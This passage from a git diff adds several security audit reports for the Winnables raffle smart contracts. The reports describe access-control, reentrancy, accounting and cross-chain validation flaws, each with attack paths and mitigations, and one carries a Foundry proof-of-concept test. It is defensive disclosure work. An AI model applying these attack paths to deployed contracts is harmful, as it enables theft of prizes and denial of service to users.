`raffle.endsAt`, legitimate users may not be able to participate in the raffle if they call `buyTickets` at the last second. + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L422-L441 + +### Root Cause + +`_checkShouldDraw` / `_checkShouldCancel` do not revert at `raffle.endsAt`. + +### Internal pre-conditions + +`block.timestamp == raffle.endsAt` +`currentTicketSold < raffle.maxTicketSupply` + +### External pre-conditions + +At `t = raffle.endsAt`, any user calls `drawWinner` (if enough tickets were sold), or `cancelRaffle` (if not enough tickets were sold). + +### Impact + +Users who call `buyTickets` at the last second of the raffle will not be able to participate if the raffle was cancelled / winner was drawn earlier in the same block. + +### Mitigation + +```diff + function _checkShouldCancel(uint256 raffleId) internal view { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status == RaffleStatus.PRIZE_LOCKED) return; + if (raffle.status != RaffleStatus.IDLE) revert InvalidRaffle(); +- if (raffle.endsAt > block.timestamp) revert RaffleIsStillOpen(); ++ if (raffle.endsAt >= block.timestamp) revert RaffleIsStillOpen(); + uint256 supply = IWinnablesTicket(TICKETS_CONTRACT).supplyOf(raffleId); + if (supply > raffle.minTicketsThreshold) revert TargetTicketsReached(); + } +``` + +```diff + function _checkShouldDraw(uint256 raffleId) internal view { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status != RaffleStatus.IDLE) revert InvalidRaffle(); + uint256 currentTicketSold = IWinnablesTicket(TICKETS_CONTRACT).supplyOf(raffleId); + if (currentTicketSold == 0) revert NoParticipants(); +- if (block.timestamp < raffle.endsAt) { ++ if (block.timestamp <= raffle.endsAt) { + if (currentTicketSold < raffle.maxTicketSupply) revert RaffleIsStillOpen(); + } + if (currentTicketSold < raffle.minTicketsThreshold) revert TargetTicketsNotReached(); + } +``` \ No newline at end of file diff --git a/001/209.md b/001/209.md new file mode 100644 index 0000000..c3a13de --- /dev/null +++ b/001/209.md @@ -0,0 +1,58 @@ +Cool Walnut Haddock + +Medium + +# M-03 Incorrect Balance Check in `withdrawTokens` Leads to Token Lockup and Transaction Failures. + +### Summary + +In the `withdrawTokens` function of the `WinnablesTicketManager` contract, an incorrect condition causes the function to revert prematurely, resulting in an inability to withdraw any ERC20 tokens. Specifically, the logic in the condition `if (amount < balance)` erroneously checks if the withdrawal amount is less than the contract's balance, which leads to a revert in cases where a withdrawal should be allowed. Consequently, when the amount is greater than the balance, the function attempts to process the withdrawal, but the transfer fails due to insufficient funds, creating a persistent failure in the withdrawal mechanism. + +### Root Cause + +The erroneous condition `if (amount < balance)` on line 295 in the `withdrawTokens` function causes unnecessary reverts and allows withdrawal attempts to proceed when the requested amount exceeds the contract's balance. The correct condition should be `if (amount > balance)` to ensure that the withdrawal only proceeds if the contract has sufficient funds to cover the requested amount, but the current condition reverts the transaction when it should succeed. + +Code Location: `WinnablesTicketManager.sol` +Relevant Line: `if (amount < balance) revert InsufficientBalance();` on line 295 + +Vulnerable code: +* https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L295 + + +### Internal pre-conditions + +1. The contract holds ERC20 tokens in a positive balance. +2. The function is called by an address with admin role `onlyRole(0)`. + +### External pre-conditions + +None + +### Attack Path + +1. The admin calls `withdrawTokens()` with a valid `token address` and an `amount` less than the current balance. +2. The condition `if (amount < balance)` triggers, and the function reverts, preventing the withdrawal. +3. If the admin calls `withdrawTokens()` with an `amount` greater than the balance, the function proceeds but fails during the `safeTransfer` call due to insufficient funds, leading to a failed transaction. + +### Impact + +The issue with the incorrect condition in the withdrawal function leads to a scenario where tokens are effectively locked within the contract. The flawed `if` statement causes the function to revert when the `amount < balance`, preventing legitimate withdrawals. Conversely, when an attempt is made to withdraw more than the available balance, the `safeTransfer` call fails, making the withdrawal function unusable. + +This creates a critical problem where the tokens remain stuck in the contract with no way to withdraw them, resulting in a permanent loss of access to these assets. Operationally, this could halt the contract's intended functionality, causing delays and potentially significant financial losses, as the contract's assets become inaccessible. + +### PoC +1. Scenario 1: The contract holds 100 tokens of an ERC20 token, and the admin calls `withdrawTokens(tokenAddress, 50)`: + + * The condition `if (amount < balance)` is true because (50 is less than 100), and the function incorrectly reverts with `InsufficientBalance()`. This blocks a valid withdrawal despite sufficient funds being present. + +2. Scenario 2: The admin calls `withdrawTokens(tokenAddress, 150)` where the requested amount exceeds the available balance: + + * The condition `if (amount < balance)` is false (150 is greater than 100), so the function proceeds, but the `safeTransfer` call fails due to insufficient balance, causing a revert. This further locks the tokens in the contract, as no withdrawal is successfully processed. + +### Mitigation + +Replace the condition `if (amount < balance)` on line 295 with `if (amount > balance)` to ensure that the function only reverts when the requested amount exceeds the available balance: + +```solidity +if (amount > balance) revert InsufficientBalance(); +``` \ No newline at end of file diff --git a/001/210.md b/001/210.md new file mode 100644 index 0000000..54ad7a4 --- /dev/null +++ b/001/210.md @@ -0,0 +1,59 @@ +Savory Cream Lion + +Medium + +# Drawable raffle can be canceled. + +### Summary + +Drawable raffle can be canceled. + +### Root Cause + +In `_checkShouldDraw`, `supply >= raffle.minTicketsThreshold` is required. +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L431 +```solidity + uint256 currentTicketSold = IWinnablesTicket(TICKETS_CONTRACT).supplyOf(raffleId); + if (currentTicketSold == 0) revert NoParticipants(); + + if (block.timestamp < raffle.endsAt) { + if (currentTicketSold < raffle.maxTicketSupply) revert RaffleIsStillOpen(); + } + if (currentTicketSold < raffle.minTicketsThreshold) revert TargetTicketsNotReached(); +``` + +In `_checkShouldCancel`, `supply <= raffle.minTicketsThreshold` is required. +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L440 +```solidity + if (raffle.endsAt > block.timestamp) revert RaffleIsStillOpen(); + uint256 supply = IWinnablesTicket(TICKETS_CONTRACT).supplyOf(raffleId); + if (supply > raffle.minTicketsThreshold) revert TargetTicketsReached(); +``` + +So when `supply == raffle.minTicketsThreshold` and `block.timestamp >= raffle.endsAt`, this raffle can be both drawn and canceled. + +This does not conform to the usage of the threshold, normally if it equals the threshold, it should not be canceled. + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +This will lead to the cancellation of a raffle that could have been completed normally, users will waste time and the protocol will also failed to generate revenue. + +### PoC + +_No response_ + +### Mitigation + +In `_checkShouldCancel`, `supply > raffle.minTicketsThreshold` -> `supply >= raffle.minTicketsThreshold`. \ No newline at end of file diff --git a/001/212.md b/001/212.md new file mode 100644 index 0000000..3271726 --- /dev/null +++ b/001/212.md @@ -0,0 +1,52 @@ +Generous Peanut Okapi + +High + +# `WinnablesTicketManager::cancelRaffle` lacks access control, can result DoS and LINK token loss + +### Summary + +The ticket manager contract does not have access control on the [`cancelRaffle`](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L278) function, this allows any address to call such function, and can cause some degrees of DoS, also combining with loss of LINK tokens. + +### Root Cause + +As we can see, that `cancelRaffle` does not have a `checkRole` modifier, while other similar functions in the contract do: + +```solidity + function cancelRaffle(address prizeManager, uint64 chainSelector, uint256 raffleId) external { + // ... + function createRaffle( + uint256 raffleId, + uint64 startsAt, + uint64 endsAt, + uint32 minTickets, + uint32 maxTickets, + uint32 maxHoldings + ) external onlyRole(0) { +``` + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +A malicious user can observe that whenever the raffle has the `PRIZE_LOCKED` status, and has enough tickets supply, call the function, and to cancel the raffle, causing DoS. Moreover, as the cancellation message is sent cross chain, so it would consume LINK tokens, and according to README file, LINK tokens are supplied by protocol admins: + +> Admins will always keep LINK in the contracts (to pay for CCIP Measages) and in the VRF subscription (to pay for the random numbers) + +### Impact + +There are two major impacts on this issue: the first being raffles can constantly denied, but since users can always get refund, and locked prize can also get unlocked, so no funds at any risks. The second one is as previously mentioned, that cross chain messages would consume LINK tokens, which are provided by admins, a malicious user who intentionally cancel raffles would cost little to none to make a loss of LINK tokens. Based on the latter impact, and the low cost, I would say this is high severity. + +### PoC + +_No response_ + +### Mitigation + +Add access control for `cancelRaffle` \ No newline at end of file diff --git a/001/213.md b/001/213.md new file mode 100644 index 0000000..e4fcdbb --- /dev/null +++ b/001/213.md @@ -0,0 +1,63 @@ +Wide Charcoal Ram + +High + +# An attacker can cancel any raffle immediately after the prize manager locks the prize. + +### Summary + +An issue in the `WinnablesTicketManager` contract allows any raffle to be canceled before the `createRaffle()` function is called. This can disrupt the raffle process and lead to unintended cancellations. + + + +### Root Cause + +The vulnerability lies in the fact that there is no access control in `cancelRaffle()` and a raffle can be canceled if its status is `RaffleStatus.PRIZE_LOCKED`. + +Please see the below code + +```solidity + function cancelRaffle(address prizeManager, uint64 chainSelector, uint256 raffleId) external { +@> _checkShouldCancel(raffleId); +``` +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L278C5-L279C38 + +```solidity + function _checkShouldCancel(uint256 raffleId) internal view { + Raffle storage raffle = _raffles[raffleId]; +@> if (raffle.status == RaffleStatus.PRIZE_LOCKED) return; +``` +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L434C5-L436C64 + +This condition can be exploited before the raffle is officially created via the `createRaffle()` function. An attacker can use this to cancel any raffle, potentially leading to the disruption of the raffle process. + +### Internal pre-conditions + +1. Admin need to lock prize in `WinnablesPrizeManager` contract using `lockNFT()/lockETH()/lockTokens()` + +### External pre-conditions + +_No response_ + +### Attack Path + +1. Attacker monitors for the `RafflePrizeLocked` event to be emitted. +2. Upon detecting the event, the attacker calls `cancelRaffle()` with the `raffleId` extracted from the `RafflePrizeLocked` event. + +### Impact + +This vulnerability allows an attacker to cancel any raffle before its actual creation, causing a complete disruption of the normal functioning of the protocol. + + + + + + + +### PoC + +_No response_ + +### Mitigation + +Restrict the cancelRaffle() function to be accessible only by the admin, ensuring that only authorized personnel can cancel a raffle, particularly before the createRaffle() function is called. \ No newline at end of file diff --git a/001/214.md b/001/214.md new file mode 100644 index 0000000..dcc653e --- /dev/null +++ b/001/214.md @@ -0,0 +1,52 @@ +Jovial Velvet Condor + +High + +# Reentrancy Vulnerability in `claimPrize` Function + +## Summary +The `claimPrize` function in the `WinnablesPrizeManager` contract is vulnerable to a reentrancy attack. This vulnerability arises due to the function's execution flow, where state changes (specifically updating the raffle status and the _ethLocked balance) occur after the transfer of ETH to the winner. An attacker can exploit this by re-entering the claimPrize function during the ETH transfer, allowing them to claim more ETH than they are entitled to. + +## Vulnerability Detail +Consider the following scenario: + +* The contract has 6 ETH locked in `_ethLocked`, and Alice is the winner of a raffle with a prize of 2 ETH. +* Alice calls the claimPrize function with the raffle ID. +* `_sendETHPrize` transfers 2 ETH to Alice's address. If Alice controls a contract that triggers a fallback function or re-enters claimPrize during this transfer, she can re-call claimPrize before the state is fully updated. +* Alice’s re-entry would see the contract still having 4 ETH available and the raffle prize status unchanged, allowing her to claim additional ETH. + +## Impact +An attacker can exploit this vulnerability to claim more ETH by re-entering the claimPrize function, the attacker can claim more ETH than the prize amount designated for the raffle. Also, excessive claiming can lead to unintended fund loss from the contract, impacting its financial stability and trustworthiness. + +## Code Snippet + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L105-L124 + +```solidity + function claimPrize(uint256 raffleId) external { + RafflePrize storage rafflePrize = _rafflePrize[raffleId]; + RaffleType raffleType = rafflePrize.raffleType; + if (raffleType == RaffleType.NFT) { + NFTInfo storage raffle = _nftRaffles[raffleId]; + _nftLocked[raffle.contractAddress][raffle.tokenId] = false; + _sendNFTPrize(raffle.contractAddress, raffle.tokenId, msg.sender); + } else if (raffleType == RaffleType.TOKEN) { + TokenInfo storage raffle = _tokenRaffles[raffleId]; + unchecked { _tokensLocked[raffle.tokenAddress] -= raffle.amount; } + _sendTokenPrize(raffle.tokenAddress, raffle.amount, msg.sender); + } else if (raffleType == RaffleType.ETH) { + unchecked { _ethLocked -= _ethRaffles[raffleId]; } + _sendETHPrize(_ethRaffles[raffleId], msg.sender); + } else revert InvalidRaffle(); + if (msg.sender != rafflePrize.winner) revert UnauthorizedToClaim(); + if (rafflePrize.status == RafflePrizeStatus.CLAIMED) revert AlreadyClaimed(); + rafflePrize.status = RafflePrizeStatus.CLAIMED; + emit PrizeClaimed(raffleId, msg.sender); + } +``` +## Tool used + +Manual Review + +## Recommendation +To address this vulnerability, it is recommended to implement a reentrancy guard to prevent reentrant calls to the claimPrize function. \ No newline at end of file diff --git a/001/216.md b/001/216.md new file mode 100644 index 0000000..6d6e943 --- /dev/null +++ b/001/216.md @@ -0,0 +1,71 @@ +Ripe Emerald Dragon + +High + +# Ethers of refunded amount for canceled raffle will be locked for the next raffles. + +## Summary +`WinnablesTicketManager` registers and updates locked ethers as `_lockedETH` state variable in order to refund ethers to participants for canceled raffle or withdraw ethers to admin for ticket sales. +However, `WinnablesTicketManager.refundPlayers()` doesn't reduce `_lockedETH` and it causes locked amount of ethers to be smaller than `_lockedETH` value by refunded amount of ethers. +Therefore, admin can't withdraw ethers of already refunded amount for the next raffles. + +## Vulnerability Detail +`WinnablesTicketManager` registers and updates locked ethers as `_lockedETH` state variable in order to refund ethers to participants for canceled raffle or withdraw ethers to admin for ticket sales. Therefore, `_lockedETH` value should be synced with really locked amount of ethers. +The `_lockedETH` is increased whenever participants buy tickets in `buyTickets()` and is decreased whenever raffles finishes successfully in `propagateRaffleWinner()`. However it is not updated in the following `WinnablesTicketManager.refundPlayers()` function. +```solidity + function refundPlayers(uint256 raffleId, address[] calldata players) external { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status != RaffleStatus.CANCELED) revert InvalidRaffle(); + for (uint256 i = 0; i < players.length; ) { + address player = players[i]; + uint256 participation = uint256(raffle.participations[player]); + if (((participation >> 160) & 1) == 1) revert PlayerAlreadyRefunded(player); + raffle.participations[player] = bytes32(participation | (1 << 160)); + uint256 amountToSend = (participation & type(uint128).max); + _sendETH(amountToSend, player); + emit PlayerRefund(raffleId, player, bytes32(participation)); + unchecked { ++i; } + } + } +``` +As can be seen, the above function doesn't reduce `_lockedETH` state variable while it refunds ethers to pariticpants and reduces really locked ethers amount. + +Example: +1. Admin creates raffle with `raffleId = 1`. +2. A particpant buys ticket with `2 ethers`. Now `_lockedETH = 2 ethers`. +3. Admin cancels `raffleId = 1` and refunds ethers to the participant. Now token manager's ETH balance is zero but `_lockedETH` is still `2 ethers` becasue `refundPlayers()` doesn't reduce it. +4. Admin creates another raffle with `raffleId = 2`. +5. A participant buys ticket with `3 ethers`. Now `_lockedETH = 5 ethers` and ETH balance is `3 ethers`. +6. Raffle finishes successfuly and `_lockedETH` will be `2 ethers` in `propagateRaffleWinner()`. +7. Admin can withdraw only `1 ether` because ETH balance is `3 ethers` and `_lockedETH` is `2 ethers`. +8. As a result, `2 ethers` ETH will be locked to token manager contract. + +## Impact +Ethers of refunded amount for canceled raffle will be locked for the next raffles. + +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L224 + +## Tool used + +Manual Review + +## Recommendation +Modify `WinnablesTicketManager.refundPlayers()` function as follows. +```solidity + function refundPlayers(uint256 raffleId, address[] calldata players) external { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status != RaffleStatus.CANCELED) revert InvalidRaffle(); + for (uint256 i = 0; i < players.length; ) { + address player = players[i]; + uint256 participation = uint256(raffle.participations[player]); + if (((participation >> 160) & 1) == 1) revert PlayerAlreadyRefunded(player); + raffle.participations[player] = bytes32(participation | (1 << 160)); + uint256 amountToSend = (participation & type(uint128).max); +++ _lockedETH -= amountToSend; + _sendETH(amountToSend, player); + emit PlayerRefund(raffleId, player, bytes32(participation)); + unchecked { ++i; } + } + } +``` \ No newline at end of file diff --git a/001/217.md b/001/217.md new file mode 100644 index 0000000..4cd3ef7 --- /dev/null +++ b/001/217.md @@ -0,0 +1,85 @@ +Savory Cream Lion + +Medium + +# Admin can prevent winner from withdrawing prize + +### Summary + +The admin can prevent the winner from claiming by changing `_ccipContracts[counterpart]`. Although this is an action taken by the admin, it violates the restrictions described in the documentation, so I consider it a valid vulnerability. + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/README.md#q-please-discuss-any-design-choices-you-made +> The principles that must always remain true are: +> +> Winnables admins cannot do anything to prevent a winner from withdrawing their prize + +### Root Cause + +The README had the following requirements written: +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/README.md#q-please-discuss-any-design-choices-you-made +> The principles that must always remain true are: +> +> Winnables admins cannot do anything to prevent a winner from withdrawing their prize + +After selecting the winner in `tickerManger`, a message will be sent to `priceManager` via CCIP. +```solidity + function propagateRaffleWinner(address prizeManager, uint64 chainSelector, uint256 raffleId) external { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status != RaffleStatus.FULFILLED) revert InvalidRaffleStatus(); + raffle.status = RaffleStatus.PROPAGATED; + address winner = _getWinnerByRequestId(raffle.chainlinkRequestId); + + _sendCCIPMessage(prizeManager, chainSelector, abi.encodePacked(uint8(CCIPMessageType.WINNER_DRAWN), raffleId, winner)); +``` + +In the `ccipReceive` of `prizeManager`, `if (!_ccipContracts[counterpart]) revert UnauthorizedCCIPSender();`. +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L260-L265 +```solidity + function _ccipReceive( + Client.Any2EVMMessage memory message + ) internal override { + (address _senderAddress) = abi.decode(message.sender, (address)); + bytes32 counterpart = _packCCIPContract(_senderAddress, message.sourceChainSelector); + if (!_ccipContracts[counterpart]) revert UnauthorizedCCIPSender(); +``` + +`_ccipContracts[counterpart]` can be set by admin. +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L134-L140 +```solidity + function setCCIPCounterpart( + address contractAddress, + uint64 chainSelector, + bool enabled + ) external onlyRole(0) { + _setCCIPCounterpart(contractAddress, chainSelector, enabled); + } +``` + +Therefore, if the admin wants to prevent a winner from withdrawing the reward, he can change the setting of `_ccipContracts[counterpart]` before `ccipReceive`, preventing the execution of `ccipReceive` and thus preventing the winner from claiming. + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +1. `propagateRaffleWinner` selects Alice as the winner and sends a message to `priceManager` through CCIP. +2. Before `ccipReceive` is executed, the admin changes `_ccipContracts[counterpart]`, making the message that Alice is the winner unable to execute. +3. Even though Alice is marked as the winner in `tickerManager`, she is still unable to claim the reward. +4. If the admin wants to carry out a more targeted attack, they can use a sandwich attack-like approach, where they change `_ccipContracts` before Alice's `ccipReceive`, and then revert `_ccipContracts` to its original value after `ccipReceive` fails. This way, they disrupt Alice's claim without affecting subsequent functionality. + +### Impact + +Admin can prevent winner from withdrawing prize. + +### PoC + +_No response_ + +### Mitigation + +_No response_ \ No newline at end of file diff --git a/001/219.md b/001/219.md new file mode 100644 index 0000000..43cca44 --- /dev/null +++ b/001/219.md @@ -0,0 +1,41 @@ +Noisy Cinnamon Trout + +Medium + +# lack of permission control will ddos cancelRaffle + +### Summary + +`cancelRaffle` function lack of permission control will ddos + +### Root Cause + +In `WinnablesTicketManager.sol#L278` that is a lack check of control + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +[_WinnablesTicketManager.sol#L278 +](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L278) + +### Attack Path + +Hacker ddos every raffle can be cancel + +### Impact + +Hacker ddos every raffle can be cancel, let all raffle broke + +### PoC + +_No response_ + +### Mitigation + +change to admin only. + +` function cancelRaffle(address prizeManager, uint64 chainSelector, uint256 raffleId) external onlyRole(0) { +` \ No newline at end of file diff --git a/001/220.md b/001/220.md new file mode 100644 index 0000000..729d4ec --- /dev/null +++ b/001/220.md @@ -0,0 +1,175 @@ +Funny Pickle Grasshopper + +High + +# `WinnablesTicketManager::cancelRaffle` function allowing anyone to cancel a Raffle when it is in `PRIZE_LOCKED` state leads to DoS to create a raffle via `createRaffle` + +## Summary +- The `cancelRaffle` is callable by anyone. +- It calls `_checkShouldCancel` to check whether the raffle should be cancelled or not. +- For the case when Raffle is in `PRIZE_LOCKED` state it simply returns which means it has approved that raffle can be cancelled, but as `cancelRaffle` is callable by anyone, therefore anyone can cancel a Raffle when it is in PRIZE_LOCKED state where it was expected to be a admin action, whether to cancel it or start it in that phase. +- Thus, this results in a DoS for the admins, as they would not be able to create a raffle via `createRaffle`, because as soon as PRIZE_LOCKED status arrives on ticket manager, anyone can call for cancel raffle, thus preventing the admins to start a raffle and also leads to LINK token wastage as CCIP message is transferred to prize manager for unlocking the tokens. +- Therefore, for the case when Raffle is in `PRIZE_LOCKED` state, the `cancelRaffle` function should only allow the admins to cancel the Raffle. + +## Vulnerability Detail +- The vulnerability is present in the `WinnablesTicketManager::cancelRaffle` function where it allows anyone to cancel a Raffle for the case when Raffle is in `PRIZE_LOCKED`. +- Initially when prize is locked on prize manager which then transfers a ccip message to ticket manager to mark that raffle in `PRIZE_LOCKED` state, and after that the admin can continue with the Raffle by calling `createRaffle` function. +- But, as the `cancelRaffle` function allows anyone to cancel a Raffle, thus as soon as the Raffle's declaration message is received and it is marked under `PRIZE_LOCKED` state, a malicious attacker can call for its cancellation and results in a DoS for the admins to create that raffle. + +## Impact +Anyone calling `cancelRaffle` just after CCIP message is received for declaring a Raffle in `PRIZE_LOCKED` state, leads to DoS in creation of that Raffle and also wastage of LINK token. + +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L278 + +## PoC +Here is a coded PoC to demonstrate the vulnerability in Foundry. + +Pre-requisites: Integrating foundry in hardhat. + +1. Install hardhat-foundry: +```bash +yarn add --dev @nomicfoundation/hardhat-foundry +``` +2. Import in hardhat config: +```js +require("@nomicfoundation/hardhat-foundry"); +``` +3. Complete the setup: +```bash +npx hardhat init-foundry +``` + +Run the test: +```bash +forge test --mt test_DoS_In_CreatingARaffle_As_AnyoneCanCancelItDuring_PrizeLockedStatus +``` + +```solidity +// SPDX-License-Identifier: MIT + +pragma solidity 0.8.24; + +import { Test } from "forge-std/Test.sol"; +import "contracts/WinnablesPrizeManager.sol"; +import "contracts/WinnablesTicketManager.sol"; +import "contracts/WinnablesTicket.sol"; +import "@chainlink/contracts/src/v0.8/interfaces/LinkTokenInterface.sol"; +import "@chainlink/contracts/src/v0.8/mocks/VRFCoordinatorV2Mock.sol"; +import "contracts/mock/MockCCIPRouter.sol"; +import { ERC677 } from "@chainlink/contracts-ccip/src/v0.8/shared/token/ERC677/ERC677.sol"; + +contract WinnablesTest is Test { + address linkToken; + address ccipRouter; + VRFCoordinatorV2Mock vrfCoordinator; + uint64 subId; + bytes32 keyHash; + WinnablesPrizeManager prizeManager; + WinnablesTicket ticket; + WinnablesTicketManager ticketManager; + uint64 chainSelectorForAnyXChain = 1; + address alice; + address bob; + address admin; + uint256 constant BALANCE = 100e18; + + + function setUp() external { + alice = makeAddr("alice"); + bob = makeAddr("bob"); + admin = makeAddr("admin"); + + linkToken = address(new ERC677("LINK", "LINK")); + ccipRouter = address(new CCIPRouter(linkToken)); + vrfCoordinator = new VRFCoordinatorV2Mock(0.25e18, 100000); + keyHash = 0x474e34a077df58807dbe9c96d3c009b23b3c6d0cce433e59bbf5b34f823bc56c; + + deal(linkToken, admin, BALANCE); + vm.deal(alice, BALANCE); + vm.deal(bob, BALANCE); + + vm.startPrank(admin); + + uint256 fundAmt = 10e18; + subId = vrfCoordinator.createSubscription(); + vrfCoordinator.fundSubscription(subId, uint96(fundAmt)); + + prizeManager = new WinnablesPrizeManager(linkToken, ccipRouter); + ticket = new WinnablesTicket(); + ticketManager = new WinnablesTicketManager( + linkToken, + address(vrfCoordinator), + subId, + keyHash, + address(ticket), + ccipRouter + ); + + ticket.setRole(address(ticketManager), 1, true); + vrfCoordinator.addConsumer(subId, address(ticketManager)); + + ticketManager.setCCIPCounterpart(address(prizeManager), chainSelectorForAnyXChain, true); + + uint256 ticketManagerLinkBal = 10e18; + IERC20(linkToken).transfer(address(ticketManager), ticketManagerLinkBal); + + vm.stopPrank(); + } + + function test_DoS_In_CreatingARaffle_As_AnyoneCanCancelItDuring_PrizeLockedStatus() public { + uint256 raffleId_1 = 1; + _prepareReceivingMessageAndSendToTicketManager(raffleId_1); + + // now raffle is in PRIZE_LOCKED + IWinnables.RaffleStatus status; + (, , , , , , status, ) = ticketManager.getRaffle(raffleId_1); + assert(status == IWinnables.RaffleStatus.PRIZE_LOCKED); + + // After the prize locked state, the owner can start the raffle or can cancel it + // but the cancellation of raffle is open to everyone, and thus anyone can cancel it during + // prize locked state, creating a DoS in creating a raffle and wastage of LINK to send cancel status + + uint256 linkBalanceBefore = IERC20(linkToken).balanceOf(address(ticketManager)); + + // the attacker cancels the raffle, just after ccip message is received + address attacker = makeAddr("attacker"); + vm.prank(attacker); + ticketManager.cancelRaffle(address(prizeManager), chainSelectorForAnyXChain, raffleId_1); + + uint256 linkBalanceAfter = IERC20(linkToken).balanceOf(address(ticketManager)); + (, , , , , , status, ) = ticketManager.getRaffle(raffleId_1); + assert(status == IWinnables.RaffleStatus.CANCELED); + assert(linkBalanceAfter < linkBalanceBefore); + + // owner tries to create a raffle + uint64 start = uint64(block.timestamp); + uint64 end = uint64(start + 2 days); + uint16 minMaxTicket = 2; + + vm.expectRevert(IWinnablesTicketManager.PrizeNotLocked.selector); + vm.prank(admin); + ticketManager.createRaffle(raffleId_1, start, end, minMaxTicket, minMaxTicket, minMaxTicket); + } + + function _prepareReceivingMessageAndSendToTicketManager(uint256 raffleId) internal { + Client.Any2EVMMessage memory receivingMessage = Client.Any2EVMMessage({ + messageId: bytes32(uint256(1)), + sourceChainSelector: chainSelectorForAnyXChain, + sender: abi.encode(address(prizeManager)), + data: abi.encodePacked(raffleId), + destTokenAmounts: new Client.EVMTokenAmount[](0) + }); + + vm.prank(ccipRouter); + ticketManager.ccipReceive(receivingMessage); + } + +} +``` + +## Tool used +Manual Review + +## Recommendation +For the case when Raffle is in `PRIZE_LOCKED` state, only allow the admins to cancel the Raffle. \ No newline at end of file diff --git a/001/223.md b/001/223.md new file mode 100644 index 0000000..eea6246 --- /dev/null +++ b/001/223.md @@ -0,0 +1,63 @@ +Huge Fossilized Turtle + +High + +# Owner/Malicious user may deploy a contract on another chain and will claim all prizes from `WinnablesPrizeManager` due to wrong `ccipCounterpart` check + +### Summary + +`BaseCCIPContract::_packCCIPContract()` stores the chain selector by concatenating the contract address and `chainSelector << 160`. However, `chainSelector` is a `uint64`, so it will always nullify it. This means that any chain selector will be valid as it enables any non null chain selector as `0` and then when validating, it converts to `0`, which is enabled. + +### Root Cause + +In [BaseCCIPContract.sol:43](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/BaseCCIPContract.sol#L40-L45), uint256(chainSelector << 160) erases `chainSelector`. + +### Internal pre-conditions + +None. + +### External pre-conditions + +In case the owner performs the attack to steal prizes from legitimate winners there is no precondition. +Additionally, an attacker may perform the attack if the owner deploys the `WinnablesTicketManager` contract on another chain with the same nonce (for any reason) or the deployer of the `WinnablesPrizeManager` on Ethereum was a smart contract wallet that can be deployed to a different owner on another chain while retaining the same address as on Avalanche. + +### Attack Path + +1 - Owner enables any chain selector, which will enable chain selector `0`. When it is packed, on validation, it erases chain selector to `0`, effectively allowing any smart contract that has the same address as the `WinnablesTicketManager` on any other support CCIP chain to send messages to the `WinnablesPrizeManager` on Ethereum. + +Now, the attack vector may be different depending on circustances, there are several options: + +2a - The owner deploys a malicious smart contract on another chain, with the right nonce such that the address will be the same as the `WinnablesTicketManager` deployed on Ethereum. This way it can steal all prizes from users that have already won, breaking the [specification](https://github.com/sherlock-audit/2024-08-winnables-raffles/tree/main?tab=readme-ov-file#q-please-discuss-any-design-choices-you-made): 'Winnables admins cannot do anything to prevent a winner from withdrawing their prize'. + +2b - The owner deploys a `WinnablesTicketManager` on another chain that ends up having the same address as the on one Avalanche (for any reason). Users can use this `WinnablesTicketManager` to claim prizes from the `WinnablesPrizeManager` on Ethereum as it accepts any chain selector on `_ccipReceive()`. + +2c - In case the owner is a smart contract wallet that is deployed in a way that does not take into account the `msg.sender` that created the wallet, it may be possible for an attacker to mimic the smart contract wallet in another chain. Then, once the attack gains control of the same owner that deployed the `WinnablesTicketManager` on Avalanche, it may deploy a malicious contract with the same address as the `WinnablesTicketManager` on Avalanche, but with malicious logic to steal all funds of `WinnablesPrizeManager`. + +3 - The contract in the chain other than `Avalanche` just has to send a cross chain message to the `WinnablesPrizeManager` on Ethereum to claim the `raffleId` with any winner it wants. + + +### Impact + +All funds from `WinnablesPrizeManager` may be stolen. + +### PoC + +The following test can be carried on on Foundry: +```solidity + function test_POC_BaseCCIPContract_NullChainSelector() public { + uint64 chainSelector = 10; + assertEq(uint256(chainSelector << 160), 0); + } +``` + +### Mitigation + +The correct encoding is: +```solidity +function _packCCIPContract(address contractAddress, uint64 chainSelector) internal pure returns(bytes32) { + return bytes32( + uint256(uint160(contractAddress)) | + uint256(uint256(chainSelector) << 160) + ); +} +``` \ No newline at end of file diff --git a/001/224.md b/001/224.md new file mode 100644 index 0000000..de82faf --- /dev/null +++ b/001/224.md @@ -0,0 +1,122 @@ 